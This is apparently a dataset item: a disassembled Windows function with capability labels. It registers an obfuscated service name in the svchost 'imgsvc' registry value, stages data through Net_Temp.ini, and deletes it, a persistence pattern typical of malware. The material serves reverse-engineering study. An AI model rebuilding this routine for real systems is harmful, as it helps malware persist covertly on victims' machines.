Function at 0x1000cf20
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1af]
mov byte [ebp - 0x1b0], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1b0]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x1ad], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
nop
nop
nop
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.1000cc40
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0xab]
mov byte [ebp - 0xac], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
push eax
lea edx, [ebp - 0xac]
push str.SOFTWARE_d
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0xac]
push eax
push ecx
call fcn.1000cca0
add esp, 0x1c
lea edx, [ebp - 8]
lea eax, [ebp - 0xac]
push edx
push 0xf003f
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000d1ca
mov ecx, 0x1f3
lea edi, [ebp - 0x97f]
mov byte [ebp - 0x980], al
lea edx, [ebp - 0x980]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebp - 0x980]
mov dword [ebp - 0xc], 7
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x10]
lea eax, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
push edx
push eax
push 0
push str.imgsvc
push ecx
mov dword [ebp - 0x10], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000d129
lea edi, [ebp - 0x980]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [ebp - 0x980]
mov esi, ecx
mov dword [ebp - 4], eax
test si, si
je 0x1000d0e3
cmp si, 1
je 0x1000d0e3
push str.Dpkdvy_Tuttrxw_Seu
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000d118
mov edx, dword [ebp - 4]
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea eax, [edx + eax + 1]
mov dword [ebp - 4], eax
je 0x1000d0e3
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000d09d
mov edi, str.Dpkdvy_Tuttrxw_Seu
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp - 4]
repne scasb al, byte es:[edi]
mov al, byte [ebx - 1]
push str.Dpkdvy_Tuttrxw_Seu
not ecx
dec ecx
push 0x10018f0c
add edx, ecx
test al, al
mov dword [ebp - 4], edx
je 0x1000d10c
inc ebx
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x1000d164
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, str.Dpkdvy_Tuttrxw_Seu
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x980]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x980]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x980]
push ecx
push edx
push 7
push 0
push str.imgsvc
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x1b0]
push edx
call esi
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0xac]
push eax
push ecx
call fcn.1000cc40
lea edx, [ebp - 0x1b0]
lea eax, [ebp - 0x48]
push edx
push eax
call fcn.1000cca0
add esp, 0x10
lea ecx, [ebp - 0x1b0]
push ecx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret